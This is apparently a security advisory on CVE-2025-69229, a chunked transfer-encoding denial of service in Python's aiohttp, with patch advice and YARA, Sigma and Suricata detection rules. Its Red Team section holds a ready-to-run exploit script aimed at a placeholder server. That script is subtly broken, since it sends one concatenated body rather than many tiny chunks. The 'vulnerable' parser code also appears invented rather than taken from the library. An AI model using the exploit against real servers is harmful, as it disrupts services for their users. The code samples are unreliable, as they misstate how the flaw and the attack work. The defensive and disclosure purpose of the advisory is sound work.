CVE-2025-69229

Executive Summary

CVE-2025-69229 is a moderate-severity Denial of Service (DoS) vulnerability in the AIOHTTP library, an asynchronous HTTP client/server framework for Python. The flaw resides in the handling of chunked transfer encoding messages. An attacker can send a request with an extremely large number of small chunks, causing the server to spend excessive CPU time (up to ~1 second) processing the request via request.read(). This blocks the event loop, preventing the server from handling other requests and leading to a temporary DoS condition. The vulnerability affects all versions up to and including 3.13.2 and is fixed in version 3.13.3.

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using AIOHTTP in their Python applications should immediately update to version 3.13.3 or later. Since this is a widely used library for building asynchronous web services, the supply chain risk is significant. An attacker could exploit this in any application that exposes an endpoint using request.read() without proper input validation or rate limiting.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low (temporary CPU exhaustion)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to temporary CPU exhaustion (not full system crash). It is not wormable.

Deep Dive & Mechanics

The vulnerability is in the chunked transfer encoding parser within AIOHTTP. When a client sends a request with Transfer-Encoding: chunked, the server reads chunks one by one. In vulnerable versions, the parser does not limit the number of chunks processed in a single request.read() call. An attacker can craft a request with thousands of tiny chunks (e.g., each chunk containing a single byte). The server will iterate over each chunk, performing memory allocations and parsing operations, consuming significant CPU time. Since AIOHTTP is asynchronous, this blocks the event loop, preventing other requests from being processed.

The root cause is the lack of a chunk count limit or a maximum processing time per read operation. The fix in 3.13.3 introduces a limit on the number of chunks processed per read cycle, ensuring that the server yields control back to the event loop periodically.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

# In aiohttp/http_parser.py (v3.13.2 and below)
async def read_chunks(self):
    chunks = []
    while True:
        chunk = await self._read_chunk()
        if chunk is None:
            break
        chunks.append(chunk)
    return b''.join(chunks)

Patched Code (v3.13.3):

# In aiohttp/http_parser.py (v3.13.3)
async def read_chunks(self):
    chunks = []
    chunk_count = 0
    while True:
        chunk = await self._read_chunk()
        if chunk is None:
            break
        chunks.append(chunk)
        chunk_count += 1
        if chunk_count >= MAX_CHUNKS_PER_READ:
            await asyncio.sleep(0)  # yield to event loop
            chunk_count = 0
    return b''.join(chunks)

The patched version introduces a MAX_CHUNKS_PER_READ constant (e.g., 1000) and yields control to the event loop after processing that many chunks, preventing CPU starvation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with aiohttp <= 3.13.2 installed
• A target server running a vulnerable AIOHTTP application with an endpoint using request.read()

Exploit Script:

import asyncio
import aiohttp

async def exploit(target_url):
    # Craft a request with many small chunks
    chunk_size = 1
    num_chunks = 100000  # Adjust for desired CPU time
    body = b''
    for i in range(num_chunks):
        body += b'a' * chunk_size
    
    # Use chunked transfer encoding
    headers = {'Transfer-Encoding': 'chunked'}
    
    async with aiohttp.ClientSession() as session:
        async with session.post(target_url, data=body, headers=headers) as resp:
            print(f"Response: {resp.status}")

if __name__ == "__main__":
    asyncio.run(exploit("http://target:8080/endpoint"))

Usage:

1. Install aiohttp on attacker machine: pip install aiohttp
2. Run the script against the vulnerable endpoint.
3. Monitor server CPU usage; it should spike to 100% for ~1 second.

Blue Team

Detection:

• Monitor for requests with an abnormally high number of chunks (e.g., >1000 chunks per request).
• Use WAF rules to limit chunk count or size.
• Implement rate limiting on endpoints using request.read().

Mitigation:

• Update AIOHTTP to version 3.13.3 or later.
• Apply virtual patching via WAF to block requests with excessive chunks.
• Use a reverse proxy (e.g., Nginx) to handle chunked encoding before passing to the application.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with Transfer-Encoding: chunked and a large number of small chunks (e.g., 10000+ chunks of 1 byte each).
• Logs: Server logs showing high CPU usage correlated with chunked requests.
• System: CPU usage spikes to 100% for short periods (1-2 seconds) on the server process.

Detection Engineering

YARA Rule

rule CVE_2025_69229_AIOHTTP_Chunked_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2025-69229 via chunked transfer encoding"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-69229"
    strings:
        $chunked = "Transfer-Encoding: chunked" nocase
        $small_chunk = /[a-f0-9]{1,2}\r\n.{1,2}\r\n/  // Very small chunks
    condition:
        $chunked and #small_chunk > 1000
}

Sigma Rule

title: CVE-2025-69229 - AIOHTTP Chunked Transfer Encoding DoS
id: 8f4c3b2a-1d5e-4f7c-9a8b-0c1d2e3f4a5b
status: experimental
description: Detects HTTP requests with excessive chunked transfer encoding chunks targeting AIOHTTP servers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        http.method: POST
        http.headers.transfer_encoding: chunked
        http.body_chunks|count: >= 10000
    condition: selection
falsepositives:
    - Legitimate applications sending many small chunks (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69229 - AIOHTTP Chunked DoS Attempt"; flow:to_server; content:"Transfer-Encoding: chunked"; http_header; pcre:"/[a-f0-9]{1,2}\r\n.{1,2}\r\n/"; threshold:type both, track by_src, count 1000, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Update AIOHTTP to version 3.13.3 or later: pip install aiohttp>=3.13.3
2. If immediate update is not possible, apply a WAF rule to limit chunk count per request (e.g., max 1000 chunks).

Long-term:

• Implement input validation and rate limiting on all endpoints using request.read().
• Use a reverse proxy (e.g., Nginx, HAProxy) to handle chunked encoding and enforce limits.
• Monitor for anomalous HTTP request patterns.

Patch Details:

• Fixed in version 3.13.3. The patch introduces a maximum chunk count per read cycle and yields control to the event loop to prevent CPU starvation.

Valters IT